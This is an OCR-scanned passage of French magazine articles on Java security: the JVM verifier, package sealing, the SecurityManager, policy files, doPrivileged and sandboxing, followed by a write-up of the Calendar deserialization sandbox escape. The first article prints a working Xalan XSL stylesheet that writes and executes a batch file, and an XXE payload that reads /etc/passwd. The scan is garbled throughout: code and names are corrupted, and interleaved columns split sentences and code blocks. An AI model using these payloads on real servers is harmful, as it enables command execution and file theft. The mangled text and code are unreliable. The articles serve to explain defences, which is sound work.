gées ? Est-ce que chaque classe, autre que (0ject, pos-
séde une super-classe ? Est-ce que les descriptions
des métadonnées dans le pool de constantes ont bien

les bons types ?

Cette étape consiste & vérifier la qualité du opcode de
chaque méthode de la classe. Cela s'effectue par une
analyse du flux de traitement dans chaque méthode.
La JVM vérifie qu'a chaque point du programme :

~# la pile des opérandes a toujours la méme taille et

contient des valeurs de méme type ;

—# aucune variable locale n'est accédée avec des types

inappropries ;

~# les méthodes sont invoquées avec les bons types
d’arguments ;



~# les attributs sont valorisés seulement avec des valeurs
du bon type ;

~# tous les opcodes possédent les bons types darguments
pour les données en piles ou les variables locales.

4| Pour des raisons de performances, certaines vérifications
devant en principe étre exécutées a la phase précédente sont
effectuées lors de la premiére invocation des méthodes. En
effet, certains comportements récursifs ne peuvent étre ana-
lysés sans le chargement de classes complémentaires.

La premiere fois qu'une instruction référencant un type est
exécuté, cette derniére :

Comme Java est un langage présentant la particularité d'uti-
liser un editeur de liens tardif des classes et des fonctions, il n'y
a pas de garantie qu'une classe exécutée soit exactement celle
prévue par l'application lors de la compilation. C'est d'ailleurs
un elément important de portabilité, permettant d'utiliser des

machines virtuelles plus récentes, sans re-compilation.

Le chargement s'effectuant par une consultation de diffé-
rents répertoires ou archives, il est possible de placer une version
verolée d'une classe a un emplacement plus prioritaire, permet-
tant alors de modifier le comportement d'une méthode. Nous
avons exploité cela en 2001 dans un article publié par Le Monde
informatique, indiquant comment les applets signées pouvaient
étre perverties, sans modifier la signature numérique. Une classe
signée ouvre un privilége, puis invoque une classe spooffée, non
signée. Cette derniére bénéficie alors des priviléges.

Pour éviter cela, il est nécessaire de sceller les packages.
C'est un parametre a indiquer dans chaque archive, imposant
que toutes les classes d'un package ne peuvent venir que d'une
seule et unique archive. Cela s’effectue par un paramétre dans le
fichier MANTFEST.MF, Si ce dernier posséde le paramétre Sealed: true,
tous les packages de l'archive sont protégés. Il est également
possible de sceller les packages individuellement. Cela permet
d'imposer que toutes les classes d'un méme package viennent
d'une méme archive. Ainsi, I'exploitation de mécanismes de

liaison pour modifier une seule classe est rendue inefficace.

Le seul angle d'attaque est de remplacer toutes les classes d'un
package et étre chargé avant les classes originales. Ce n'est pas
impossible. Si des privileges étaient accordés aux classes du pac-
kage original, via une signature numérique de ce dernier, on pour-
rait remplacer toutes les classes, mais pas les signer. Les nouvelles
versions n'ont alors plus acces aux privileges. Malheureusement, les
composants Java déclarent rarement ce parametre. Dans les faits,
il est donc facile de détourner une classe de sa fonction premiére.

|l DOSSIER

~# charge la définition du type si ce n'est déja fait :
—# vérifie que le type correspond au type référencé :

~M vérifie que les méthodes ou les attributs référencés existent
dans la classe ;

~ verifie que la classe posséde les droits d'y accéder.

Comme les machines virtuelles savent maintenant compiler
a la volée les opcodes en équivalent assembleur, ces vérifications
sont effectuées avant une éventuelle compilation. En pratique, le
code assembleur généré a parfois souffert de vulnérabilités sur
certaines JVM, mais ces situations sont trés rares et ne semblent
plus d’actualité avec les implémentations actuelles.

2.1 Packages spéciaux

Un autre mécanisme permet d'interdire globalement I'ajout
ou la consultation de certains packages critiques, les packages
Java, Javax et Sun par exemple. Ce mécanisme est mis en place
par la valorisation de deux variables d’environnement sys-
téme de la JVM : package.definition et package.access. La premiére
variable permet d’'interdire de définir des classes dans les pac-
kages, la seconde permet d'interdire l'accés aux classes de pac-
kage. Tomeat utilise cela pour protéger les classes du serveur
d'applications vis-a-vis des classes des composants applicatifs
(voir le fichier catalina.properties). Pour utiliser ces classes ou
pour y ajouter de nouvelles classes, il faut bénéficier de privi-

leges speécifiques et demander a les utiliser.

permission java.lang.RuntimePermission
"accessClassinPackage.org.apache.tomcat.dbep.dbcp”;

Ainsi, il peut etre interdit d'accéder 4 certaines classes ou d’ajou-
ter des classes dans les packages Java ou Javax. Sans ces limitations,
il est possible d'exploiter des priviléges de type packages entre les
classes, et par exemple, modifier le contenu d'une instance String.

La methode String.String(int offset, int count, char value[]) est
« package private ». C'est-a-dire qu'elle ne peut étre accédée que
par des classes du méme package. Elle est invoquée par la méthode
stringBuffer.toStringl) pour que l'instance récupére directement le
buffer du 5tringBuffer, sans duplication du contenu. Done, s'il est pos-
sible de publier une classe dans le package java.lang, il est possible
d’accéder a cette methode et de controler le buffer géré parun String.

char[] mybuf=new char[188]:
String hook=new String(B,188,mybuf); // Ctr package private
mybuf[#1="A"; // Modification de 1'instance immuable 'hook' !

Si une classe de ces packages est proposée par 'application
dans une de ces archives, une exception est générée et 'appli-
cation interrompue.
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Java étant capable de maitriser le code exécuté, il garantit quil
est impossible d'invoquer une DLL présente sur le poste. Java a
parfois besoin d'y avoir accés, pour les interactions avec le systeme
d’exploitation. Done, par effet de bord, il est possible d'exploiter des
API de Java pour sortir de la JVM et interagir avec I'OS.

Par exemple, les chaines de caractéres de Java sont mémori-
sées avec un tableau de caractéres et une taille, Les API de 'OS
utilisent plut6t I'approche C/C++ consistant a utiliser le caractére
de fin '\7'. Tl est donc possible de combiner les deux approches
pour leurrer un code Java. Par exemple, si un code Java ajoute un
suffixe 4 un nom de fichier, afin d’étre certain de ne manipuler
que des noms sains, il est possible d’'invoquer cette API en uti-
lisant une chaine de caractéres contenant un caractere zéro. Du
point de vue de Java, la chaine de caractéres sera enrichie d'une
extension. Mais, lorsque la chaine sera livrée a I'OS, elle sera cou-
pée apres le délimiteur, ignorant ainsi l'extension.

Les droits des systémes d'exploitation permettent de limiter
les accés aux applications. Les serveurs d'applications JavaEE sont
lancés par un seul programme, la machine virtuelle Java. Ainsi,
toutes les applications WEB bénéficient des droits accordés par le
systéme d'exploitation 4 la JVM lors du lancement. Pour améliorer
cela, et proposer des droits limités suivant les différentes applica-
tions hébergées par le serveur d'applications, il faut utiliser la sécu-
rité Java 2, plus riche que ce que propose le systeme d'exploitation.

Pour éviter 'utilisation d’API risquée, Java propose une
couche de sécurité. Si le mécanisme correspondant est mis en
place, chaque API risquée commence par vérifier les privileges
accordés a 'appelant. Si la permission est accordée, 'API est

exécutée. Sinon, une exception spécifique est genéree.

Par exemple, il est possible de limiter les acces aux fichiers
ou aux répertoires pour certaines parties du code de l'applica-
tion. Toutes les API d’accés aux fichiers vérifient les droits avant
d’'invoquer les API de I'OS. C’est ainsi que les applets Java ne
peuvent manipuler le poste utilisateur ou communiquer avec

un réseau autre que celui dont elles sont issues.

Si certaines API n'exigent pas de droits ou de fagons trop
laches, il peut exister des failles dans ce mécanisme. Depuis
plus de quinze ans que Java existe, la plupart des failles de ce
type ont été identifiées.

Mais, dans certaines situations, des API apparemment sans
danger peuvent étre exploitées. Nous venons de publier une
alerte dans ce sens (CVE-2009-0911). Java propose la notion
de « services », C’est une convention permettant de déclarer
des implémentations d’'interfaces pour les services communs
(parseurs XML, persistances, etc.) Pour déclarer un service,
il suffit d’avoir un fichier dans le répertoire META-INF/services
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indiquant la classe d'implémentation. Il est donc facile de propo-
ser un nouveau parseur XML par exemple, s'occupant de modi-
fier les fichiers de paramétres a la volée pour modifier les logs,
ajouter des services, détourner des traitements, etc.

Pour corriger le probléme, nous proposons un patch a
OpenJDK 6 pour ajouter un nouveau privilége et pour le veritfier
dans une vingtaine de méthodes. Ainsi, il est nécessaire davoir
le privilége correspondant pour ajouter un service.

Pour vérifier les priviléges d’acces a certaines API, Java
associe a chaque classe 'archive 'ayant importée en mémoire
et éventuellement la signature numérique utilisée pour signer
la classe. Cette association s'effectue par le chargeur de classe,
version sécurisée. Ces deux informations seront comparées aux
priviléges accordés par la JVM.

Avoir un privilége accordé a une archive n'implique pas que
tout le code de I'archive en bénéficie immédiatement. Il faut, en
plus, invoquer une API spécifique signalant que le code entre
dans une section critique, nécessitant des priviléges. Lors de
l'invocation d'une API risquée, le code parcourt la pile d'appels
pour rechercher une classe ayant le droit d'utiliser I'API, et qui,
de plus, a demandé a bénéficier du privilége via 'API spécifique.

Les priviléges sont done ouverts pour un thread, a partir
d’un certain niveau de la pile d’appels. Via 'API JAAS (Java
Authentication and Authorization Service), il est également
possible d’associer un utilisateur a un thread, pour bénéficier de
priviléges accordés aux utilisateurs. Ainsi, certains utilisateurs
pourront avoir acces a des API, d’autres non.

Les classes sont chargées a partir d’'une ressource. Cela peut
&tre un fichier c13ss, une archive jar ou une ressource récuperee sur
le WEB. A chaque classe est associée la ressource initiale d'ol elle
est extraite et éventuellement des signataires. La classe CodeSource
associe la source du chargement de la classe et les signatures.

Un domaine de protection associe une source de code et un
ensemble de priviléges. La classe Protectionlonain se charge de
cette association. Lors du chargement d'une classe, a partir dun
code source donnée, les priviléges sont récupérés dans le fichier
java.poticy dela JVM et un domaine de protection est créé. Celui-ci
est associé a la classe. La méthode [1ass.getProtectionlomain() offre
de consulter ces informations. Il est alors possible de retrouver la
source d'une classe et de consulter les priviléges associés.

Le mécanisme de sécurité de Java s'appuie sur ces informa-
tions. Un code s'exécute avec certains priviléges. Il peut invo-
quer des classes venant d’une autre archive ou faisant partie de
la JVM. Toutes les méthodes invoquées obtiennent, par héritage
d'appel, les priviléges de 'appelant. Un code critique qui désire
vérifier que l'appelant posséde des droits particuliers doit uti-
liser la classe AccessController.




if (System.getSecurityManager() != null)
java.security.AccessController.checkPermission(
new FilePermission("log.txt","write"));

Ce code génére une exception si I'appelant ne posséde pas le
privilege d'écrire sur le fichier 100.1x%. Pour obtenir ce privilége, il
faut demander a la JVM d’exécuter un code avec les droits asso-
ciés a la classe lors du chargement. Cela s'effectue toujours avec la
classe AccessConiroler, Les méthodes doPrivileged() ouvrent les droits
associés a la classe. Cela permet de béneficier des privileges pour
pouvoir invoquer des API plus sensibles. Deux interfaces sont
proposées. La premiere, "rivilegediction, exécute un traitement
sans propager d'exceptions autres que les exceptions non véri-
fiées. La deuxieme, PrivilegedtxceptionAction propose un service
similaire, mais toutes les exceptions sont propagées. Elles peu-
vent étre capturées par l'appelant, encapsulées dans une excep-
tion PrivilegedActiontxception. Généralement, lapplication utilise
une classe anonyme pour implémenter ces interfaces.

/I Ici, priviléges hérités de 1'appelant
FileQutputStream out=(FileOutputStream)AccessController.

doPrivileged(
new PrivilegedAction()

public Object run()

/{ Tci, priviléges propres & la classe
return new FileOutputStream("log.txt"); // Accés possible

}
s
// Ici, a nouveau les priviléges hérités de 1'appelant

Comment associer des privileges a une classe ? 11 faut modi-
fier le fichier java.policy de la JVM ou placer votre code dans un
répertoire considéré comme str par la JVM. Cest le cas du réper-
toire $JAVA_ROME/Tib/ext. Toutes les classes venant de ce répertoire
béneficient de tous les privileges. La régle suivante le déclare :

grant codeBase "file:${java.home}/1ib/ext/*" {
permission java.security.AllPermission;

b

Pour n'ouvrir que certains priviléges, il faut enrichir le fichier
java.policy afin de proposer des privileges différents suivant la
source des classes. Vous pouvez également demander I'utilisation
d'un fichier de politique de sécurité différente a I'aide du para-
metre -[java.security,policy lors du lancement de la JVM.,

java -Djava.security.manager -Djava.security.policy=<url> Main

La sécurité est vérifiée si, et seulement si, une instance de
securityManager est installee dans la JVM.

System.setSecurityManager(new SecurityManager());

Les privileges sont représentés par des classes qui doivent
avoir une portée globale a la JVM. Ils sont déclarés dans un
fichier .policy, avant le lancement de la JVM. Ainsi, il n'est pas
possible de les modifier dans la JVM.
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La syntaxe de ce fichier permet d’accorder des priviléges
pour une archive spécifique, un répertoire avec ou sans ces
sous-répertoires, une signature numeérique ou un utilisateur.

Pour lancer un Tomecat en activant la sécurité Java, il faut
ajouter le parameétre -security.

§ SCATAINA_HOME/bin/catalina.sh run -security

Chaque serveur d'applications utilise une syntaxe spécifique
pour imposer la securité. Certains ne proposent rien. Il est donc
necessaire de modifier le seript de lancement pour ajouter la
sécurité. C'est le cas de JBoss par exemple. Concrétement, lors
du lancement de la JVM, la sécurité est active si la variable
d’environnement java,security,manager est présente. La variable
java.security.policy indique le fichier de policy a utiliser.

Les serveurs d'applications ont besoin d’offrir des privileges
minimums aux composants java. C'est pourquoi, en remontant
la pile d’appels, le code arrive toujours sur 'invocation de la
méthode doPrivileged().

AccessController.doPrivileged(new PrivilegedAction<0bject>()
{{puh?1c final Object run()

£ iems

}
}

Ainsi, chaque composant bénéficie des priviléges décrits
dans la section grant {} du fichier de politique. Cette section
propose des priviléges par déefaut. Sans un appel comme celui-ci
en amont de la pile, aucun privilége n'est accordé.

3.1 Les droits minimums

Quels sont les droits minimums nécessaires ? Pour qu'une
application fonctionne correctement, il faut au moins avoir le
droit de lire des ressources a partir du CodeSource de la classe,
I'URL d'ou est issue la classe. En effet, lors du chargement d'une
classe, celle-ci peut avoir besoin d'autres classes. Un chargeur
de classe est alors invoqué. Il s'exécute avec les droits de 'appe-
lant, la classe initiale. Il doit pouvoir charger les autres fichiers
.class. Lors de l'installation d'une classe, il faut ajouter un acces
au code base. Cela peut étre un accés répertoire, un acces a une
archive seule, un acces a une machine du réseau,...

Un code qui bénéficie d'une augmentation de privileges doit
étre le plus petit possible, et ne doit pas invoquer de code non siir.
Par exemple, si vous implémentez un mécanisme de notification,
les événements ne doivent pas étre invoqués dans les sections cri-
tiques. Sinon, les gestionnaires d'évenement enregistrés peuvent
bénéficier des privileges herités. Il ne faut pas retourner d'informa-
tion critique dans un code privilégié. Par exemple, si une méthode
publique utilise ses privileges pour obtenir le nom de l'utilisateur,
il ne faut pas le retourner a l'appelant. Sinon, la protection sur cette
information confidentielle tombe. Pour contourner cette limitation,
il faut utiliser les Guarded0bject décrits plus loin.
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La sécurité de Java

4. Sand box

Parfois, certaines parties du code doivent bénéficier de moins
de priviléges que le reste. Java ne propose pas dAPI pour cela. Il
est possible de bénéficier de plus de priviléges, mais pas de moins.
Pourquoi est-ce nécessaire ? Parfois, l'application doit intégrer
dynamiquement du code ou des traitements qui ne doivent pas
forcément bénéficier des mémes privileges que l'application. Par

<?xml version="1.8" encoding="150-8859-1"7>
<IDOCTYPE hack [

<IENTITY include SYSTEM "/etc/passwd">

P

<hack>

kinclude;

</hack>

exemple, imaginez une application offrant a certains utilisateurs
de télécharger sur le serveur des feuilles XSL. Cela produit, par
exemple, des morceaux de pages pour un portail. Mais, le moteur
XSL utilisé offre des fonectionnalités cachées, accordant I'écriture
de fichiers et I'exécution d'un code arbitraire Java. Un pirate, ayant

Lors de 'analyse du fichier XML, le contenu du fichier
/etc/passwd est affiché.

Pour interdire cela, le moteur XSL ou tout autre compo-
sant dont vous n'avez pas la garantie d'innocuité doit étre place

e ] . : i S ns u : . réduisant les privile ' nt au
obtenu T'identification dun utilisateur ayant le droit d'envoyer un dans un bac a sable, réduisant les privileges du traitement

fichier XSL, ou un utilisateur malveillant peuvent prendre la main
sur l'ensemble du serveur par cette fonctionnalité, apparemment
sans risque. Par exemple, le filtre XSL suivant exploite les exten-
sions de Xalan pour générer un fichier et 'exécuter.

minimum. Ainsi, quel que soit le contenu de la feuille XSL, il
ne pourra pas porter préjudice au serveur. Lapproche du bac a
sable est utilisée pour le chargement des applets. Elles ne béné-
ficient de pratiquement aucun privilege.

Comment obtenir cela ? Comme nous l'avons vu, les
droits sont associés a une classe lors de son chargement.
[l n'est donc pas possible de perdre des privileges. Le seul

| <?xml version="1.0"1> <xsl:stylesheet xmins:xsl="http://www.w3.org/1999/XSL/Transform®
| xmins: java="http://xml.apache.org/xslt/java"
| xmins:1xslt="http://xml,apache.org/xsIt"
xmins:redirect="org.apache.xalan.xslt.extensions.Redirect”
extension-element-prefixes="redirect"
version="1.0">
<xsl:output method="text"/>
<xsl:template match="/">
<redirect:open file="run.bat"/>
<redirect:write file="run.bat™
notepad.exe
| </redirect:write>
<redirect:close file="run.bat"/>
<ysl:variable name="runtime" select="java:java.lang.Runtime.getRuntime()"/>
<xsl:value-of select="java:exec(Sruntime,'run.bat’')"/>
</xsl:template>
</xsl:stylesheat>

moven & notre disposition est d'installer une nouvelle
version d'une classe, en associant un Protectionlomain sans

privilége ou avec des priviléges réduits. Cette nouvelle
classe va avoir besoin d'autres classes. Elles devront éga-
lement étre associées & un Profectionlomain sans privilege.
Ainsi, elles ne peuvent demander de privileges supplé-
mentaires. Le privilege d'accés en lecture au code source
est le seul a ajouter.

I1 faut alors rédiger un (lassloader en charge d’'ins-

Ce filtre XSL, sans protection particuliere, permet de lancer
un traitement sur le serveur. Ce type d'attaque produit genéra-
lement des pages JSP dans le serveur d'applications. Elles pos-
sedent du code Java bénéficiant des droits de I'application, et
peuvent lire les fichiers de paramétrage avec les mots de passe,
décompiler toutes les classes, etc.

Une autre attaque consiste a récupérer le contenu de fichiers
présent sur le serveur, a partir dun simple fichier XML :

Parfois, il est nécessaire de retourner une instance privi-
légiée, qui sera utilisée plus tard par l'application. Comment
étre certain que le code qui emploiera I'instance obtenue a l'aide
de priviléges ait le droit de le faire ? Pour résoudre cela, Java
propose la classe Guarded(bject et I'interface Guard. Une instance
Guardedlbiect mémorise un objet et un privilege.

Imaginez la classe suivante qui propose un service retour-
nant un flux vers le fichier readme.txt :
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taller toutes les classes sensibles, en y associant un

Protectionlomain sans privilége, pour la classe et les classes
qu'elle utilise. Comme il faut bien lier les classes sans privileges
avec les classes de I'application, quelques classes ou packages
servent de liens entre les deux espaces de noms. Ainsi, certaines
API sous controle peuvent ouvrir des privileges si cela est néces-
saire, mais pas le code dans le bac a sable.

Nous proposons un classloader pour cela sur notre site :
http://www.prados.eu.

public class SampleGuarded
public static GuardedObject getGuarded()

return (GuardedObject)AccessController.doPrivilegedl
new PrivilegedAction()

{
public Object run()

FileInputStream f;
try




f = new FileInputStream("/readme.txt");
FilePermission p =

new FilePermission("/readme.txt", "read");
return new GuardedObject(f, p);

}
catch (FileNotFoundException e)

e.printStackTrace();
return null;

La méthode getGuarded() demande des privileges pour accé-
der au fichier /readne.txt. Cet objet est placé dans une instance
GuardedOoject, et le privilége nécessaire a la manipulation de I'ins-
tance y est associé.

Linstance Guardedlbject retournée est manipulable par une
classe sans priviléges. Elle peut étre mémorisée dans un conteneur,

6. Autres vulnérabilités
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transférée a d'autres classes, envoyée a une classe privilégiée si
nécessaire. Mais, il n'est pas possible a une classe sans privileges
d’'obtenir un pointeur vers lI'instance stream protégee.

GuardedObject obj=SampleGuarded.getbuarded();
obj.getObject(); // Exception !

Ces API offrent de faire transiter des objets sensibles a tra-
vers le bac a sable, sans sacrifier la sécurité. Il faut faire trés
attention aux objets récupéres dans les zones critiques. Ils ne
doivent pas pouvoir étre manipulés sans privilege.

Parfois, les méthodes sensibles ne sont accessibles que par
d’autres classes du méme package. Ainsi, il n'est pas nécessaire
d'utiliser un GuardedObject. Mais, cela suppose qu'il est impos-
sible d'ajouter une nouvelle classe dans le méme package, afin
de bénéficier artificiellement des acces. Ce n'est pas garanti !
Pour interdire la création de classes dans un package, il faut
que toutes les classes du package soient dans une archive, et
que celle-ci soit signée et déclarée scellee.

Java utilise un mécanisme de ramasse-miettes (garbage col-
lector), cest-a-dire quune tache soccupe de libérer la mémoire des
objets devenus inaccessibles. Ces algorithmes en profitent pour
regrouper les objets afin de réunir les zones libres. Il est donc pos-
sible qu'une information confidentielle soit dupliquée en mémoire. Il
est impossible d'effacer avec certitude une donnée en mémoire. Par
exemple, si un mot de passe est présent dans un tableau de caractéres,
l'écraser avec d'autres valeurs ne garantit pas qu'il ne soit plus présent
dans la mémoire de la JVM, dans une zone considérée comme libre.
La génération d'un core-dump ou la consultation de la mémoire par
un processus malveillant permet de retrouver cette information. Il
est done possible de retrouver une clef privée ou un mot de passe
en meémoire avec Java, sans possibilité de contrer cette faiblesse.

Les archives Java utilisent le format ZIP. Ce dernier est de
plus en plus utilisé pour d’autres types de fichiers. Par exemple,

les documents OpenOffice sont également des fichiers ZIP. Le
format zip utilise un en-téte de fichier qui est placé a la fin de
ce dernier. Cela s’explique par le mécanisme de construction du
fichier. Le format de fichier GIF utilise un en-téte qui est placé
au début du fichier. Certains ont eu la bonne idée de marier ces
deux formats, en accolant une image est une archive (GIFAR).
Ainsi, une applet Java peut utiliser une image ou un document
OpenOffice comme base de code. Si un site permet le téléchar-
gement de I'un de ces deux formats sur le site (photo de 'utilisa-
teur par exemple), 1l est possible de proposer une page avec une
applet dont le code est récupéré par l'image, et bénéficier ainsi
de tous les privileges accordés a une applet venant de ce site.

WebSence a publié un rapport indiquant que six sites
légitimes sur dix ont hébergé, 4 un moment ou un autre, un
malware sans le savoir.

Conclusion

De nouvelles vulnérabilités apparaissent régulierement,

permettant une élévation de privilege, des buffer-overflow, etc.,
mais elles sont le fait de la machine virtuelle et de ces API, pas
des applications écrites en Java. Ce derniéres sont vulnérables
aux attaques classiques type XSS, CSRF, SQL injections, etc.

Java est un langage sfir, si les developpeurs acceptent enfin
d'utiliser tous les services proposés. Dans la trés grande majo-
rité, ce n'est pas le cas, ouvrant la porte a des attaques de type
« porte dérobée » comme présenté dans l'article « Macaron »
de ce numéro (cf. page 34). B

Note & Références

1 http://java.sun.com/docs/books/
jvms/second_edition/html/
ClassFile.doc.html#88597

—8 Pour des outils aidant a sécuriser le code java (scellement automatique, audit, gestions
du fichier de priviléges de la JVM), http://macaron.googlecode.com

~ Pour d'autres outils dont un classeloader Sandbox, http://www.prados.eu
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Julien Tinnes — julien@cro.org

¥ ONE BUG TO RULE
THEM ALL : LA FAILLE
CALENDAR/JAVA

mots-clés : Java/client-side / exploit

e 3 décembre 2008, Sun a corrigé une faille, découverte et rapportée
1 A par Sami Koivu le 1er aout 2008. Le rapport de Sun était laconique :
« A Security Vulnerability in the Java Runtime Environment (JRE) Related to

Deserializing Calendar Objects May Allow Privileges to be Escalated ». Il n'y a la pas
grand-chose pour attirer ['ceil, si ce nest labsence de référence a toute bibliotheque
native et a toute corruption mémoire (telle que le classique « buffer overflow »)
comme cest le cas pour la plupart des vulnérabilités Java.

En fait, cette vulnérabilité est due a une faille
logique dans la maniére dont Java traite la sériali-
sation (les procédés de conversion entre la repré-
sentation interne d'objets et une séquence d'octets
stockable ou transférable). Elle permet indépen-
damment de la plate-forme sous-jacente, de cas-
ser le modéle de sécurité de Java et de sortir de la
JVM. Pour un attaquant, cela permet notamment de

Limpact potentiel de cette faille est la raison prin-
cipale pour laquelle nous nous y sommes interesses.
La mesure de I'impact d'une vulnérabilité doit prendre
en compte plusieurs critéres, et il s'agit génerale-
ment d'une tiche complexe, dépendant notamment
de I'environnement pour lequel on souhaite mesurer
cet impact. Cependant, sans perte de généralité, on

peut considérer que ces criteres seront importants :

1. | Le nombre de machines impactées et leur intérét.

2. | La faille est-elle exploitable de maniére fiable ?

| 3- | Lexploitation requiert-elle une action de l'utili-

sateur ou non ?
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pirater une victime utilisant un navigateur web suppor-
tant Java en sortant du bac a sable Java et en exécutant
du code arbitraire avec les priviléges de I'utilisateur. Et
cela, quel que soit le navigateur, le systeme d'exploitation
et I'architecture matérielle.

Dans cet article, nous tenterons d’expliquer pour-
quoi nous avons qualifié [ext.1] cette faille de « proche
du Saint Graal des failles de logiciels client ».

4- | La rapidité avec laquelle la faille peut étre patchée

et les systéemes vulnérables mis a jour.

Pour chacun de ces critéres, nous considérons que
cette faille obtient un score trés éleve.

1.1 Nombre de machines

impacteées

Selon des statistiques publiées a la conférence

JavaOne en 2008 [ext.2], 90% des machines de bureau
ont Java SE installé et 85% des téléphones portables uti-
lisent Java ME. Notons que la version de Sun n'était pas



la seule impactée : OpenJDK et toute implémentation de Java
utilisant les classes d'OpenJDK (GCJ, Icedtea, etc.) sont égale-
ment impactées.

Méme si les applications web en Java ne sont plus aussi
populaires, elles restent nombreuses [1]. C'est pourquoi de
nombreux systémes d'exploitation installent Java par défaut
(la plupart des installation OEM et en entreprise de Windows,
MacOS X, la plupart des distributions Linux) et la raison pour

laquelle le reste des utilisateurs l'installent frequemment.

1.2 Exploitabilité

Lexploitabilité de cette faille est ce qui la rend vraiment
différente. A une epoque ou 'ASLR, l'utilisation du flag NX, de
SafeSEH, des heaps sécurisés et autres mesures rendent effec-

tivement plus délicate (et moins fiable) I'exploitation de failles
entrainant la corruption de la mémoire, une faille logique qui
ne fait pas intervenir de code natif et s'exploite 100% en Java
sort du lot.

Cette faille est facilement exploitable de maniére parfaite-
ment fiable. La célébre formule : « Write once run everywhere »
devenant ici « Write once, own everyone ».

1.3 Cette faille requiert-elle

une action de Putilisateur ?

Cette faille peut étre utilisée dans plusieurs scénarios, des
que l'attaquant controle une applet s'exécutant dans un environ-

nement confiné. Dans cet article, nous nous concentrerons sur

le cas d'une victime se faisant pirater via son navigateur web.
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Il suffit a 'attaquant de controler, méme partiellement, une page
web qui sera chargee par le navigateur de la victime pour pou-
voir exécuter du code avec les privileges de celle-ci (la plupart du
temps, équivalents a administrateur, notamment sous Linux ou
les utilisateurs de Desktop utilisent suco depuis le compte qu'ils

utilisent pour naviguer).

1.4 Rapidite de correction

La rapidité avec laquelle cette faille peut étre patchée est éga-
lement un des points qui la rendent si dangereuse. Sous Windows,
Java n'est pas un composant controlé par Microsoft. Il ne bénéficie
donc pas du cycle de mises a jour régulier auquel les administra-
teurs sont habitués. En entreprise, Java est trés difficile a mettre
a jour a cause de la mauvaise qualité des applications métier qui
utilisent Java : la plupart ne fonctionnent plus apres une mise a jour
de Java. Pour toutes ces raisons, Java est trés rarement mis a jour.

Ce n'est qu'apres une intervention de notre part quUbuntu
et d'autres distributions ont patche cette faille dans OpenJDK.
Malgré notre insistance, Apple a mis presque sept mois a la cor-
riger : le correctif a été publié en juin, un mois aprées que nous
avons finalement décidé de bloguer a son sujet a la suite de la
publication d'un exploit public par Landon Fuller. A 'heure ot
nous écrivons ces lignes, la faille n'est toujours pas corrigée dans
toutes les distributions Linux proposant la distribution non libre
de Sun. Il y a également fort a parier que de tres nombreux sys-
temes en entreprise ne sont toujours pas a jour. De plus, d’autres
instances de cette faille existent (par exemple CR 6646860),
et comme elle n'ont pas recu d’attention particuliére dans la
presse, il est probable qu'elles ne soient que rarement corrigées.

Lors de la désérialisation d'un objet, Java instancie des
classes pour recréer 'objet en mémoire, Cela signifie que tout
processus de désérialisation d'objets a partir d'un flux d'octets
fourni par l'attaquant donnera a I'attaquant les priviléeges du
contexte dans lequel cette désérialisation s'exécute. Dans le cas
normal, I'attaquant qui controle déja une applet sans priviléges
particuliers n'a pas intérét a effectuer une déseérialisation a partir
d'un flux d'octets qu'il contréle. Il n'y gagnerait aucun privilége.

Cependant, dans certains cas, Java effectue le processus de
deésérialisation dans un contexte privilégié. L'un de ces cas (il y
en a d’autres !) est la désérialisation d'un objet de type (alendar,
En effet, un objet (3'2ndar contient un objet Zon2lnfo qui, pour des
raisons de compatibilité, est délicat a désérialiser.

try{
Lonelnfo zi = (Zonelnfo) AccessController.doPrivileged(
new PrivilegedExceptionAction() {
public Object run() throws Exception {

return input.readObject();

IJ;
if (zi 1= null) {
I0ne = 1i;

} catch (Exception e) {}

Un attaquant controlant une applet peut fournir un flux
d'octets a désérialiser contenant un objet Lalendar, contenant
lui-méme un objet /onalnto. Ce dernier va étre déseérialisé dans un
contexte privilegie. Comment exploiter cela ? Il suffit de subs-
tituer I'objet Lonelnfo par un objet privilégié que nous ne serions

pas normalement en mesure d'instancier.

Pour corriger le cas particulier de la faille (ilendar, Sun a crée
un nouveau privilége appelé accessClassinPackage, sun.util.calendar
et le bloe doPrivileged() ci-dessus est maintenant exécuté dans ce

contexte qui n'offre que des priviléges tres restreints.
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3. L'exploitation

L'exploitation de cette faille est facile pour toute personne
connaissant Java. Malheureusement, nous n'avions jamais utilisé
Java auparavant et nous familiariser avec le modéle de sécuriteé,
les politiques de sécurité et IAccessController a demandé un cer-
tain travail. Nous avons finalement pu produire un exploit extré-
mement fiable pour cette faille, qui a été testé avec succes sous
Windows, Linux, MacOS X (exploitant avec succes Firefox et Safari
au pwnz2own 2009) et OpenBSD [2].

Tout d'abord, nous devons trouver une classe a instancier qui
nous permettrait d'élever nos priviléges. La classe funtimePermission
[ext.3] suggére I'idée d'instancier un (lassloader (ce qui serait
venu immeédiatement a l'esprit de toute personne connaissant
Java auparavant). Il nous suffit de sous-classer (lassLoader pour
créer notre propre classe, a laquelle nous apportons une légere
modification : la méthode readlbject(], appelée lors de la désé-
rialisation, va sauvegarder notre instance de (lassloader dans
un contexte statique afin de la conserver pour un usage futur.

Dans un flux d’octets contenant un objet (alendar a
désérialiser, il suffit de remplacer I'objet [onelnfo par une instance

Il n’était pas forcément évident que contréler un flux
désérialisé par du code Java revenait a exécuter du code arbi-
traire en Java avec les priviléges du code effectuant la desé-
rialisation. Dans cet article, nous avons montré comment
exploiter cette classe de vulnérabilité en prenant I'exemple de
la désérialisation des objets Calendar qui prend place dans un
contexte privilegié.

Cette vulnérabilité a eu un impact de sécurité inhabituelle-
ment élevé, touchant tous les navigateurs et tous les systéemes
d’exploitation pour peu que Java y soit installé. D’autres vulné-
rabilité du méme type on été découvertes depuis, et il est connu

Conclusion

de notre (lassloader. A la désérialisation, Java instanciera notre
(lassLoader, puis, lors de l'affectation de ce dernier a un objet lonelnfo,
lévera une exception pour cause de types incompatibles. Mais, il
sera déja trop tard. Notre instance de (1assLoader sera déja affectee
a une variable statique.

Armé de notre nouveau [1assLoader, nous pouvons définir des
classes, aveec un Protectionlomain que nous choisissons, c'est-a-
dire des classes avec des priviléges arbitraires, Le tour est joué !

Reste le probléme de générer un flux d'octets modifié de
maniére a remplacer l'objet Zonelnfo par notre (lassLoader. Pour
cela, nous avons tout d’abord étudié le format des flux sérialisé
et réalisé manuellement l'opération. Peu aprés, nous avons trouve
une astuce permettant de réaliser cela sans effort : replacelbject(),
Cette méthode permet de substituer un objet par un autre lors du
processus de sérialisation. Exactement ce qu'il nous faut !

Une fois que nous pouvons créer des classes avec des pri-
viléges arbitraires, il est trés simple d'exécuter du code natif
arbitraire. Cependant, il est bien plus portable et efficace
(et dans l'esprit) de realiser un shellcode en Java.

depuis longtemps que I'activation des applets Java dans un navi-
gateur est un cauchemar en matiere de sécurite.

